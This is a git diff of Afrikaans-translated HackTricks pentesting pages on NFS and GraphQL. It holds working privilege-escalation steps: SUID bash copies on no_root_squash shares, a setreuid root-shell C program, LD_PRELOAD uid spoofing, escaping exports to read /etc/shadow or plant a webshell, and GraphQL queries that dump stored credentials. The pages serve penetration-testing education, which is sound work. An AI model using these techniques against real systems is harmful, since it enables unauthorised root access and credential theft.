diff --git a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index 56c4abdc4..651933999 100644 --- a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -1,18 +1,29 @@ {{#include ../../banners/hacktricks-training.md}} -Lees die _ **/etc/exports** _ lêer, as jy 'n gids vind wat geconfigureer is as **no_root_squash**, dan kan jy **toegang** verkry tot dit **as 'n kliënt** en **binne** daardie gids **skryf** **asof** jy die plaaslike **root** van die masjien was. +# Basiese Inligting oor Squashing -**no_root_squash**: Hierdie opsie gee basies gesag aan die root-gebruiker op die kliënt om lêers op die NFS-bediener as root te benader. En dit kan lei tot ernstige sekuriteitsimplikasies. +NFS sal gewoonlik (veral in linux) die aangeduide `uid` en `gid` deur die kliënt wat aansluit om toegang tot die lêers te verkry (as kerberos nie gebruik word nie) vertrou. Daar is egter 'n paar konfigurasies wat op die bediener gestel kan word om **hierdie gedrag te verander**: -**no_all_squash:** Dit is soortgelyk aan die **no_root_squash** opsie, maar dit geld vir **nie-root gebruikers**. Stel jou voor, jy het 'n shell as nobody gebruiker; het die /etc/exports lêer nagegaan; die no_all_squash opsie is teenwoordig; het die /etc/passwd lêer nagegaan; emuleer 'n nie-root gebruiker; skep 'n suid lêer as daardie gebruiker (deur te monteer met nfs). Voer die suid uit as nobody gebruiker en word 'n ander gebruiker. +- **`all_squash`**: Dit squash al die toegang deur elke gebruiker en groep na **`nobody`** (65534 unsigned / -2 signed) te map. Daarom is almal `nobody` en geen gebruikers word gebruik nie. +- **`root_squash`/`no_all_squash`**: Dit is die standaard op Linux en **squash slegs toegang met uid 0 (root)**. Daarom word enige `UID` en `GID` vertrou, maar `0` word na `nobody` gesquash (so geen root-imperonering is moontlik nie). +- **``no_root_squash`**: Hierdie konfigurasie, indien geaktiveer, squash nie eens die root-gebruiker nie. Dit beteken dat as jy 'n gids met hierdie konfigurasie monteer, jy dit as root kan benader. + +In die **/etc/exports** lêer, as jy 'n gids vind wat as **no_root_squash** geconfigureer is, kan jy dit **toegang** vanaf **as 'n kliënt** en **binne** daardie gids **skryf** asof jy die plaaslike **root** van die masjien was. + +Vir meer inligting oor **NFS** kyk: + +{{#ref}} +/network-services-pentesting/nfs-service-pentesting.md +{{#endref}} # Privilege Escalation -## Remote Exploit +## Afgeleë Exploit -As jy hierdie kwesbaarheid gevind het, kan jy dit benut: - -- **Monteer daardie gids** in 'n kliëntmasjien, en **as root kopieer** binne die gemonteerde gids die **/bin/bash** binêre en gee dit **SUID** regte, en **voerde** van die slagoffer masjien daardie bash binêre uit. +Opsie 1 met bash: +- **Monteer daardie gids** in 'n kliëntmasjien, en **as root kopieer** binne die gemonteerde vouer die **/bin/bash** binêre en gee dit **SUID** regte, en **voer uit vanaf die slagoffer** masjien daardie bash binêre. +- Let daarop dat om root binne die NFS deel te wees, **`no_root_squash`** op die bediener geconfigureer moet wees. +- As dit egter nie geaktiveer is nie, kan jy na 'n ander gebruiker opgradeer deur die binêre na die NFS deel te kopieer en dit die SUID toestemming te gee as die gebruiker waarnatoe jy wil opgradeer. ```bash #Attacker, as root user mkdir /tmp/pe @@ -25,7 +36,9 @@ chmod +s bash cd ./bash -p #ROOT shell ``` -- **Monteer daardie gids** op 'n kliëntmasjien, en **as root kopieer** binne die gemonteerde vouer ons saamgecompileerde payload wat die SUID-toestemming sal misbruik, gee vir dit **SUID** regte, en **voer vanaf die slagoffer** masjien daardie binêre uit (jy kan hier 'n paar [C SUID payloads](payloads-to-execute.md#c) vind). +Option 2 met c gecompileerde kode: +- **Monteer daardie gids** op 'n kliëntmasjien, en **as root kopieer** binne die gemonteerde vouer ons gecompileerde payload wat die SUID-toestemming sal misbruik, gee vir dit **SUID** regte, en **voer vanaf die slagoffer** masjien daardie binêre uit (jy kan hier 'n paar [C SUID payloads](payloads-to-execute.md#c) vind). +- Dieselfde beperkings as voorheen ```bash #Attacker, as root user gcc payload.c -o payload @@ -43,7 +56,7 @@ cd > [!NOTE] > Let daarop dat as jy 'n **tunnel van jou masjien na die slagoffer masjien kan skep, jy steeds die Remote weergawe kan gebruik om hierdie privaatheidsverhoging te exploiteer deur die vereiste poorte te tunnelle**.\ -> Die volgende truuk is in die geval waar die lêer `/etc/exports` **'n IP aandui**. In hierdie geval **sal jy in geen geval die **remote exploit** kan gebruik nie en jy sal hierdie truuk moet **misbruik**.\ +> Die volgende truuk is in die geval waar die lêer `/etc/exports` **'n IP aandui**. In hierdie geval **sal jy in elk geval nie** die **remote exploit** kan gebruik nie en jy sal hierdie truuk **moet misbruik**.\ > 'n Ander vereiste vir die exploit om te werk is dat **die eksport binne `/etc/export`** **die `insecure` vlag moet gebruik**.\ > --_Ek is nie seker of hierdie truuk sal werk as `/etc/export` 'n IP adres aandui nie_-- @@ -53,43 +66,38 @@ Die scenario behels die eksploitering van 'n gemonteerde NFS deel op 'n plaaslik ### Kompilerings van die Biblioteek -Die biblioteek kompileringsstappe mag aanpassings vereis gebaseer op die kern weergawe. In hierdie spesifieke geval was die fallocate syscalls kommentaar gegee. Die kompileringsproses behels die volgende opdragte: +Die biblioteek kompileringsstappe mag aanpassings vereis gebaseer op die kern weergawe. In hierdie spesifieke geval is die fallocate syscalls kommentaar gegee. Die kompileringsproses behels die volgende opdragte: ```bash ./bootstrap ./configure make gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/ ``` -### Die Uitbuiting Uitvoer +### Die Uitbuiting Voer -Die uitbuiting behels die skep van 'n eenvoudige C-programma (`pwn.c`) wat voorregte na root verhoog en dan 'n shell uitvoer. Die program word gecompileer, en die resulterende binêre (`a.out`) word op die deel geplaas met suid root, met behulp van `ld_nfs.so` om die uid in die RPC-oproepe te vervals: +Die uitbuiting behels die skep van 'n eenvoudige C-program (`pwn.c`) wat voorregte na root verhoog en dan 'n shell uitvoer. Die program word gecompileer, en die resulterende binêre (`a.out`) word op die deel geplaas met suid root, met gebruik van `ld_nfs.so` om die uid in die RPC-oproepe te vervals: 1. **Compileer die uitbuitingskode:** - ```bash cat pwn.c int main(void){setreuid(0,0); system("/bin/bash"); return 0;} gcc pwn.c -o a.out ``` - -2. **Plaas die uitbuiting op die deel en wysig sy toestemmings deur die uid te vervals:** - +2. **Plaas die exploit op die deel en wysig sy toestemmings deur die uid te vervals:** ```bash LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out ``` - -3. **Voer die uitbuiting uit om root voorregte te verkry:** +3. **Voer die ontploffing uit om wortelregte te verkry:** ```bash /mnt/share/a.out #root ``` +## Bonus: NFShell vir Stealthy File Toegang -## Bonus: NFShell vir Stealthy Lêertoegang - -Sodra root-toegang verkry is, om met die NFS-deel te kommunikeer sonder om eienaarskap te verander (om spore te vermy), word 'n Python-skrip (nfsh.py) gebruik. Hierdie skrip pas die uid aan om ooreen te stem met dié van die lêer wat toegang verkry word, wat interaksie met lêers op die deel moontlik maak sonder toestemmingsprobleme: +Sodra root-toegang verkry is, om met die NFS-aandeel te kommunikeer sonder om eienaarskap te verander (om te verhoed dat daar spore agtergelaat word), word 'n Python-skrip (nfsh.py) gebruik. Hierdie skrip pas die uid aan om te ooreenstem met dié van die lêer wat toegang verkry, wat interaksie met lêers op die aandeel moontlik maak sonder toestemmingkwessies: ```python #!/usr/bin/env python # script from https://www.errno.fr/nfs_privesc.html @@ -108,7 +116,7 @@ uid = get_file_uid(filepath) os.setreuid(uid, uid) os.system(' '.join(sys.argv[1:])) ``` -Hardloop soos: +Loop soos: ```bash # ll ./mount/ drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md index 98177f4c9..c3803d2b2 100644 --- a/src/network-services-pentesting/nfs-service-pentesting.md +++ b/src/network-services-pentesting/nfs-service-pentesting.md @@ -4,28 +4,65 @@ ## **Basiese Inligting** -**NFS** is 'n stelsel wat ontwerp is vir **klient/bediener** wat gebruikers in staat stel om naatloos toegang tot lêers oor 'n netwerk te verkry asof hierdie lêers in 'n plaaslike gids geleë is. +**NFS** is 'n stelsel wat ontwerp is vir **kliënt/bediener** wat gebruikers in staat stel om naatloos toegang tot lêers oor 'n netwerk te verkry asof hierdie lêers in 'n plaaslike gids geleë is. -'n Opmerklike aspek van hierdie protokol is die gebrek aan ingeboude **verifikasie** of **autorisasiemeganismes**. In plaas daarvan, berus autorisasie op **lêerstelselinligting**, met die bediener wat verantwoordelik is om **klient-gelewer gebruikersinligting** akkuraat in die lêerstelsel se vereiste **autorisasieformaat** te vertaal, hoofsaaklik volgens **UNIX-sintaksis**. - -Verifikasie berus algemeen op **UNIX `UID`/`GID` identifiseerders en groepslidmaatskappe**. egter, ontstaan 'n uitdaging weens die potensiële wanpassing in **`UID`/`GID` kaarte** tussen kliënte en bedieners, wat geen ruimte laat vir addisionele verifikasie deur die bediener nie. Gevolglik is die protokol die beste geskik vir gebruik binne **vertroude netwerke**, gegewe sy afhanklikheid van hierdie metode van verifikasie. - -**Standaardpoort**: 2049/TCP/UDP (behalwe weergawe 4, dit benodig net TCP of UDP). +**Standaard poort**: 2049/TCP/UDP (behalwe weergawe 4, dit benodig net TCP of UDP). ``` 2049/tcp open nfs 2-3 (RPC #100003 ``` +### Authentisering + +'n Opmerklike aspek van hierdie protokol is die gewone gebrek aan ingeboude **authentisering** of **autorisasiemeganismes**. In plaas daarvan, berus autorisasie op **lêerstelselinligting**, met die bediener wat verantwoordelik is om **klant-gelewer gebruikersinligting** akkuraat in die lêerstelsel se vereiste **autorisasieformaat** te vertaal, hoofsaaklik volgens **UNIX-sintaksis**. + +Authentisering berus gewoonlik op **UNIX `UID`/`GID` identifiseerders en groeplidmaatskappe**. 'n Uitdaging ontstaan egter weens die potensiële wanpassing in **`UID`/`GID` kaarte** tussen kliënte en bedieners, wat geen ruimte laat vir addisionele verifikasie deur die bediener nie. Boonop word hierdie besonderhede deur die kliënt gestuur en deur die bediener vertrou, sodat 'n slegte kliënt potensieel kan **verteenwoordig** 'n ander gebruiker deur meer bevoorregte `uid` en `gid`s te stuur. + +**Let egter daarop dat dit standaard nie moontlik is om die `UID` 0 (root) te verteenwoordig nie met NFS. Meer oor hierdie in die squashing-afdeling.** + +#### Gashere + +Vir beter (of sommige) autorisasie, kan jy die **gashere** spesifiseer wat toegang tot die NFS-aandeel kan hê. Dit kan gedoen word in die Linux `/etc/exports` lêer. Byvoorbeeld: +``` +/PATH/TO/EXPORT      CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ... +/media/disk/share   192.168.2.123(rw,sec=krb5p:krb5i) +``` +As jy kan sien, dit laat toe om 'n spesifieke **IP** of **hostname** te konfigureer om toegang tot die deel te verkry. Slegs daardie adres sal in staat wees om toegang tot die deel te verkry. + ### Weergawes -- **NFSv2**: Hierdie weergawe is bekend vir sy breë kompatibiliteit met verskeie stelsels, wat sy belangrikheid merk met aanvanklike bedrywighede hoofsaaklik oor UDP. As die **oudste** in die reeks, het dit die grondslag gelê vir toekomstige ontwikkelings. +- **NFSv2**: Hierdie weergawe word erken vir sy breë kompatibiliteit met verskeie stelsels, wat sy belangrikheid merk met aanvanklike bedrywighede hoofsaaklik oor UDP. As die **oudste** in die reeks, het dit die grondslag gelê vir toekomstige ontwikkelinge. -- **NFSv3**: Ingevoerd met 'n reeks verbeterings, het NFSv3 op sy voorganger uitgebrei deur veranderlike lêergroottes te ondersteun en verbeterde foutverslagmeganismes aan te bied. Ten spyte van sy vooruitgang, het dit beperkings in volle terugwaartse kompatibiliteit met NFSv2-kliënte ondervind. +- **NFSv3**: Ingevoerd met 'n reeks verbeterings, het NFSv3 op sy voorganger uitgebrei deur veranderlike lêergrootte te ondersteun en verbeterde foutverslagmeganismes aan te bied. Ten spyte van sy vooruitgang, het dit beperkings in volle terugwaartse kompatibiliteit met NFSv2-kliënte ondervind. -- **NFSv4**: 'n Mylpaalweergawe in die NFS-reeks, het NFSv4 'n reeks kenmerke gebring wat ontwerp is om lêerdeling oor netwerke te moderniseer. Opmerklike verbeterings sluit die integrasie van Kerberos vir **hoë sekuriteit**, die vermoë om vuurmure te oorkom en oor die Internet te werk sonder die behoefte aan portmappers, ondersteuning vir Toegang Beheer Lyste (ACL's), en die bekendstelling van staat-gebaseerde bedrywighede in. Sy prestasieverbeterings en die aanneming van 'n staatlike protokol onderskei NFSv4 as 'n belangrike vooruitgang in netwerk lêerdeling tegnologieë. +- **NFSv4**: 'n Mylpaalweergawe in die NFS-reeks, het NFSv4 'n reeks funksies gebring wat ontwerp is om lêerdeling oor netwerke te moderniseer. Opmerklike verbeterings sluit die integrasie van Kerberos vir **hoë sekuriteit**, die vermoë om vuurmure te oorsteek en oor die Internet te werk sonder die behoefte aan portmappers, ondersteuning vir Toegang Beheer Lyste (ACL's), en die bekendstelling van staat-gebaseerde bedrywighede in. Sy prestasieverbeterings en die aanneming van 'n staatlike protokol onderskei NFSv4 as 'n belangrike vooruitgang in netwerk lêerdeling tegnologieë. +- Let daarop dat dit baie vreemd is om 'n Linux-gasheer NFS te vind wat kerberos-verifikasie ondersteun. Elke weergawe van NFS is ontwikkel met die doel om die ontwikkelende behoeftes van netwerkomgewings aan te spreek, wat progressief sekuriteit, kompatibiliteit en prestasie verbeter. +### Squashing + +Soos vroeër genoem, sal NFS gewoonlik die kliënt se `uid` en `gid` vertrou om toegang tot die lêers te verkry (as kerberos nie gebruik word nie). Daar is egter 'n paar konfigurasies wat in die bediener gestel kan word om **hierdie gedrag te verander**: + +- **all_squash**: Dit squash al die toegang wat elke gebruiker en groep na **`nobody`** (65534 unsigned / -2 signed) map. Daarom is almal `nobody` en geen gebruikers word gebruik nie. +- **root_squash/no_all_squash**: Dit is die standaard op Linux en **squash slegs toegang met uid 0 (root)**. Daarom word enige `UID` en `GID` vertrou, maar `0` word gesquash na `nobody` (so geen root-imperonering is moontlik nie). +- **no_root_squash**: Hierdie konfigurasie, indien geaktiveer, squash nie eens die root-gebruiker nie. Dit beteken dat as jy 'n gids met hierdie konfigurasie monteer, jy dit as root kan benader. + +### Subtree check + +Slegs beskikbaar op Linux. man(5) exports sê: "As 'n subgids van 'n lêerstelsel ge-exporteer word, maar die hele lêerstelsel nie, dan moet die bediener wanneer 'n NFS-versoek aankom, nie net nagaan dat die benaderde lêer in die toepaslike lêerstelsel is (wat maklik is) nie, maar ook dat dit in die ge-exporteerde boom is (wat moeiliker is). Hierdie kontrole word die subtree check genoem." + +In Linux is die **`subtree_check`-kenmerk standaard gedeaktiveer**. + ## Enumerasie +### Showmount + +Dit kan gebruik word om **inligting van 'n NFSv3-bediener te verkry**, soos die lys van **exports**, wie **toegang het** tot hierdie exports, en watter kliënte verbind is (wat dalk onakkuraat kan wees as 'n kliënt ontkoppel sonder om die bediener te vertel). +In **NFSv4 kliënte benader net direk die / export** en probeer om exports van daar te benader, en misluk as dit ongeldig of nie geautoriseer is nie. + +As gereedskap soos `showmount` of Metasploit-modules nie inligting van 'n NFS-poort toon nie, is dit moontlik 'n NFSv4-bediener wat nie weergawe 3 ondersteun nie. +```bash +showmount -e +``` ### Nuttige nmap skripte ```bash nfs-ls #List NFS exports and check permissions @@ -36,9 +73,13 @@ nfs-statfs #Disk statistics and info from NFS share ```bash scanner/nfs/nfsmount #Scan NFS mounts and list permissions ``` -### Montering +### nfs_analyze -Om te weet **watter gids** die bediener **beskikbaar** het om te monteer, kan jy dit vra met: +Hierdie hulpmiddel van [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) kan gebruik word om 'n groot hoeveelheid data van 'n NFS-bediener te verkry, soos **mounts**, ondersteunde NFS-weergawes, gekonnekteerde IP's, en selfs of dit moontlik is om te **ontsnap van die exports** na ander vouers in die FS of **of `no_root_squash` geaktiveer is**. + +## Mounting + +Om te weet **watter vouer** die bediener **beskikbaar** het om te monteer, kan jy dit vra met: ```bash showmount -e ``` @@ -46,18 +87,43 @@ Dan monteer dit met: ```bash mount -t nfs [-o vers=2] : -o nolock ``` -U moet spesifiseer om **weergawe 2** te gebruik omdat dit **geen** **verifikasie** of **outorisering** het nie. +U moet spesifiseer om **weergawe 2** te **gebruik** omdat dit **geen** **verifikasie** of **outorisering** het nie. **Voorbeeld:** ```bash mkdir /mnt/new_back mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock ``` -## Toestemmings +## Aanvalle -As jy 'n gids monteer wat **lêers of gidse bevat wat slegs deur 'n sekere gebruiker toeganklik is** (deur **UID**). Jy kan **lokaal** 'n gebruiker met daardie **UID** skep en met daardie **gebruiker** sal jy in staat wees om die lêer/gids te **benader**. +### Vertroue UID en GID -## NSFShell +Natuurlik is die enigste probleem hier dat dit standaard nie moontlik is om root (`UID` 0) na te boots nie. Dit is egter moontlik om enige ander gebruiker na te boots of as `no_root_squash` geaktiveer is, kan jy ook root na boots. + +- As jy 'n gids monteer wat **lêers of gidse bevat wat slegs deur 'n sekere gebruiker toeganklik is** (deur **UID**). Jy kan **lokal** 'n gebruiker met daardie **UID** skep en met daardie **gebruiker** sal jy in staat wees om die lêer/gids te **benader**. +- Die hulpmiddel **`fuse_nfs`** van [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) sal basies altyd die nodige UID en GID stuur om toegang tot die lêers te verkry. + +### SUID Privilege Escalation + +Kyk na die bladsy: + +{{#ref}} +/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +{{#endref}} + +### Ontsnapping van die exports + +In hierdie [geweldige artikel](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/) is dit moontlik om te sien dat dit moontlik is om te **ontsnap van die exports om toegang tot ander gidse in die FS te verkry**. + +Daarom, as 'n export 'n gids exporteer wat 'n **subgids** van die **hele lêerstelsel** is, is dit moontlik om lêers buite die export te benader as **`subtree_check`** gedeaktiveer is. En dit is **gedeaktiveer per standaard in Linux**. + +Byvoorbeeld, as 'n NFS-bediener `/srv/` exporteer en `/var/` in dieselfde lêerstelsel is, is dit moontlik om logs van `/var/log/` te lees of 'n webshell in `/var/www/` te stoor. + +Boonop, let daarop dat slegs die root (0) gebruiker standaard beskerm is teen na te boots (kyk na die Squash afdeling). As 'n lêer **aan root behoort, maar die groep nie 0 is nie, is dit moontlik om toegang te verkry**. Byvoorbeeld, die lêer `/etc/shadow` behoort aan root, maar die groep is `shadow` (gid 42 op Debian). Daarom is dit moontlik om dit standaard te lees! + +Die hulpmiddel **`nfs_analyze`** van [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) is gebou om hierdie aanval teen die lêerstelsels ext4, xfs, btrfs in weergawe 3 te ondersteun (dit behoort ook moontlik te wees in v4). + +### NSFShell Om maklik te lys, te monteer en UID en GID te verander om toegang tot lêers te hê, kan jy [nfsshell](https://github.com/NetDirect/nfsshell) gebruik. @@ -68,7 +134,7 @@ Om maklik te lys, te monteer en UID en GID te verander om toegang tot lêers te /etc/exports /etc/lib/nfs/etab ``` -### Gevaarlike instellings +## Gevaarlike instellings - **Lees- en Skryfregte (`rw`):** Hierdie instelling laat beide lees van en skryf na die lêerstelsel toe. Dit is noodsaaklik om die implikasies van die toekenning van so 'n breë toegang in ag te neem. @@ -76,13 +142,13 @@ Om maklik te lys, te monteer en UID en GID te verander om toegang tot lêers te - **Sigbaarheid van Geneste Lêerstelsels (`nohide`):** Hierdie konfigurasie maak gidse sigbaar selfs al is 'n ander lêerstelsel onder 'n geëksporteerde gids gemonteer. Elke gids vereis sy eie uitvoerinskrywing vir behoorlike bestuur. -- **Eienaarskap van Wortellêers (`no_root_squash`):** Met hierdie instelling behou lêers wat deur die wortelgebruiker geskep is hul oorspronklike UID/GID van 0, wat die beginsel van die minste voorregte ignoreer en moontlik oormatige regte toeken. +- **Eienaarskap van Wortellêers (`no_root_squash`):** Met hierdie instelling behou lêers wat deur die wortelgebruiker geskep is, hul oorspronklike UID/GID van 0, wat die beginsel van die minste voorregte ignoreer en moontlik oormatige regte toeken. -- **Nie-Squashing van Alle Gebruikers (`no_all_squash`):** Hierdie opsie verseker dat gebruikersidentiteite oor die stelsel bewaar word, wat kan lei tot toestemming en toegangbeheer probleme as dit nie korrek hanteer word nie. +- **Nie-Squashing van Alle Gebruikers (`no_all_squash`):** Hierdie opsie verseker dat gebruikersidentiteite oor die stelsel behou word, wat tot toestemming- en toegangbeheerprobleme kan lei as dit nie korrek hanteer word nie. -## Voorregverhoging deur NFS misconfigurasies +## Privilege Escalation met NFS misconfigurasies -[NFS no_root_squash en no_all_squash voorregverhoging](../linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md) +[NFS no_root_squash en no_all_squash privilege escalation](../linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md) ## HackTricks Outomatiese Opdragte ``` diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index c01cc7c63..2524de350 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -4,15 +4,15 @@ ## Inleiding -GraphQL word **uitgelig** as 'n **doeltreffende alternatief** vir REST API, wat 'n vereenvoudigde benadering bied om data van die agterkant te vra. In teenstelling met REST, wat dikwels 'n aantal versoeke oor verskillende eindpunte benodig om data te versamel, stel GraphQL die haal van alle vereiste inligting deur 'n **enkele versoek** moontlik. Hierdie stroomlynings **voordele ontwikkelaars** deur die kompleksiteit van hul data-haal prosesse te verminder. +GraphQL word **uitgelig** as 'n **doeltreffende alternatief** vir REST API, wat 'n vereenvoudigde benadering bied om data van die agterkant te vra. In teenstelling met REST, wat dikwels 'n aantal versoeke oor verskillende eindpunte vereis om data te versamel, stel GraphQL die haal van alle nodige inligting deur 'n **enkele versoek** moontlik. Hierdie stroomlynproses **voordele ontwikkelaars** deur die kompleksiteit van hul data-haalprosesse te verminder. ## GraphQL en Sekuriteit -Met die opkoms van nuwe tegnologieë, insluitend GraphQL, ontstaan ook nuwe sekuriteitskwesbaarhede. 'n Sleutelpunt om te noem is dat **GraphQL nie outentikasie-meganismes standaard insluit nie**. Dit is die verantwoordelikheid van ontwikkelaars om sulke sekuriteitsmaatreëls te implementeer. Sonder behoorlike outentikasie kan GraphQL eindpunte sensitiewe inligting aan nie-geoutentiseerde gebruikers blootstel, wat 'n beduidende sekuriteitsrisiko inhou. +Met die opkoms van nuwe tegnologieë, insluitend GraphQL, ontstaan nuwe sekuriteitskwesbaarhede. 'n Sleutelpunt om te noem is dat **GraphQL nie outentikasie-meganismes standaard insluit nie**. Dit is die verantwoordelikheid van ontwikkelaars om sulke sekuriteitsmaatreëls te implementeer. Sonder behoorlike outentikasie kan GraphQL-eindpunte sensitiewe inligting aan nie-geoutentiseerde gebruikers blootstel, wat 'n beduidende sekuriteitsrisiko inhou. ### Gids Brute Force Aanvalle en GraphQL -Om blootgestelde GraphQL voorbeelde te identifiseer, word die insluiting van spesifieke paaie in gids brute force aanvalle aanbeveel. Hierdie paaie is: +Om blootgestelde GraphQL-instanties te identifiseer, word die insluiting van spesifieke paaie in gids brute force aanvalle aanbeveel. Hierdie paaie is: - `/graphql` - `/graphiql` @@ -23,15 +23,15 @@ Om blootgestelde GraphQL voorbeelde te identifiseer, word die insluiting van spe - `/graphql/api` - `/graphql/graphql` -Die identifisering van oop GraphQL voorbeelde stel in staat om die ondersteunende vrae te ondersoek. Dit is van kardinale belang om die data wat deur die eindpunt beskikbaar is, te verstaan. GraphQL se introspeksiestelsel fasiliteer dit deur die vrae wat 'n skema ondersteun, in detail te beskryf. Vir meer inligting hieroor, verwys na die GraphQL dokumentasie oor introspeksie: [**GraphQL: 'n vrae-taal vir API's.**](https://graphql.org/learn/introspection/) +Die identifisering van oop GraphQL-instanties stel in staat om die ondersteunende versoeke te ondersoek. Dit is van kardinale belang om die data wat deur die eindpunt toeganklik is, te verstaan. GraphQL se introspeksiestelsel fasiliteer dit deur die versoeke wat 'n skema ondersteun, in detail te beskryf. Vir meer inligting hieroor, verwys na die GraphQL-dokumentasie oor introspeksie: [**GraphQL: 'n vrae-taal vir API's.**](https://graphql.org/learn/introspection/) ### Vingerafdruk -Die hulpmiddel [**graphw00f**](https://github.com/dolevf/graphw00f) is in staat om te detecteer watter GraphQL enjin in 'n bediener gebruik word en druk dan nuttige inligting vir die sekuriteitsauditor. +Die hulpmiddel [**graphw00f**](https://github.com/dolevf/graphw00f) is in staat om te detecteer watter GraphQL-enjin in 'n bediener gebruik word en druk dan nuttige inligting vir die sekuriteitsauditor af. -#### Universele vrae +#### Universele versoeke -Om te kontroleer of 'n URL 'n GraphQL diens is, kan 'n **universele vraag**, `query{__typename}`, gestuur word. As die antwoord `{"data": {"__typename": "Query"}}` insluit, bevestig dit dat die URL 'n GraphQL eindpunt huisves. Hierdie metode berus op GraphQL se `__typename` veld, wat die tipe van die gevraagde objek onthul. +Om te kontroleer of 'n URL 'n GraphQL-diens is, kan 'n **universele versoek**, `query{__typename}`, gestuur word. As die antwoord `{"data": {"__typename": "Query"}}` insluit, bevestig dit dat die URL 'n GraphQL-eindpunt huisves. Hierdie metode is afhanklik van GraphQL se `__typename` veld, wat die tipe van die gevraagde objek onthul. ```javascript query{__typename} ``` @@ -57,7 +57,7 @@ Met hierdie navraag kan jy al die tipes, dit se velde, en dit se argumente (en d **Foute** -Dit is interessant om te weet of die **foute** gaan **verskyn** aangesien dit nuttige **inligting** sal bydra. +Dit is interessant om te weet of die **foute** as **getoon** gaan word, aangesien dit nuttige **inligting** sal bydra. ``` ?query={__schema} ?query={} @@ -170,17 +170,17 @@ As introspeksie geaktiveer is, kan jy [**GraphQL Voyager**](https://github.com/A ### Navraag -Nou dat ons weet watter soort inligting in die databasis gestoor is, kom ons probeer om **'n paar waardes te onttrek**. +Nou dat ons weet watter soort inligting in die databasis gestoor is, kom ons probeer om **sommige waardes te onttrek**. In die introspeksie kan jy vind **watter objek jy direk kan navraag doen** (want jy kan nie 'n objek navraag doen net omdat dit bestaan nie). In die volgende beeld kan jy sien dat die "_queryType_" "_Query_" genoem word en dat een van die velde van die "_Query_" objek "_flags_" is, wat ook 'n tipe objek is. Daarom kan jy die vlag objek navraag doen. ![](<../../images/Screenshot from 2021-03-13 18-17-48.png>) -Let daarop dat die tipe van die navraag "_flags_" is "_Flags_", en hierdie objek is soos hieronder gedefinieer: +Let daarop dat die tipe van die navraag "_flags_" "_Flags_" is, en hierdie objek is soos hieronder gedefinieer: ![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>) -Jy kan sien dat die "_Flags_" objektes bestaan uit **naam** en **waarde**. Dan kan jy al die name en waardes van die vlae met die navraag kry: +Jy kan sien dat die "_Flags_" objektes saamgestel is uit **naam** en **waarde**. Dan kan jy al die name en waardes van die vlae met die navraag kry: ```javascript query={flags{name, value}} ``` @@ -193,7 +193,7 @@ Jy kan dit eenvoudig vra met: query = { hiddenFlags } ``` In 'n ander voorbeeld waar daar 2 voorwerpe binne die "_Query_" tipe voorwerp was: "_user_" en "_users_".\ -As hierdie voorwerpe nie enige argument nodig het om te soek nie, kan **jy al die inligting van hulle onttrek** net deur **te vra** vir die data wat jy wil hê. In hierdie voorbeeld van die Internet kan jy die gestoor gebruikersname en wagwoorde onttrek: +As hierdie voorwerpe nie enige argument nodig het om te soek nie, kan **alle inligting van hulle onttrek** word net deur **te vra** vir die data wat jy wil hê. In hierdie voorbeeld van die Internet kan jy die gestoor gebruikersname en wagwoorde onttrek: ![](<../../images/image (880).png>) @@ -219,7 +219,7 @@ En tydens die **enumeration fase** het ek ontdek dat die "_**dbuser**_" voorwerp **Query string dump trick (dankie aan @BinaryShadow\_)** -As jy kan soek op 'n string tipe, soos: `query={theusers(description: ""){username,password}}` en jy **soek vir 'n leë string** sal dit **al die data dump**. (_Let op dat hierdie voorbeeld nie verband hou met die voorbeeld van die tutorials nie, vir hierdie voorbeeld neem aan jy kan soek met "**theusers**" deur 'n String veld genaamd "**description**"_). +As jy kan soek op 'n string tipe, soos: `query={theusers(description: ""){username,password}}` en jy **soek vir 'n leë string** sal dit **alle data dump**. (_Let op dat hierdie voorbeeld nie verband hou met die voorbeeld van die tutorials nie, vir hierdie voorbeeld neem aan jy kan soek met "**theusers**" deur 'n String veld genaamd "**description**"_). ### Soek @@ -250,7 +250,7 @@ name ``` Let op hoe dit aangedui word om die `name` van die `subscribedMovies` van die persoon te verkry. -Jy kan ook **verskeie voorwerpe terselfdertyd soek**. In hierdie geval word daar 2 flieks gesoek: +Jy kan ook **verskeie voorwerpe terselfdertyd soek**. In hierdie geval word daar 'n soektog na 2 flieks gedoen: ```javascript { searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) { @@ -289,9 +289,9 @@ In die **introspeksie** kan jy die **verklaarde** **mutasies** vind. In die volg ![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>) 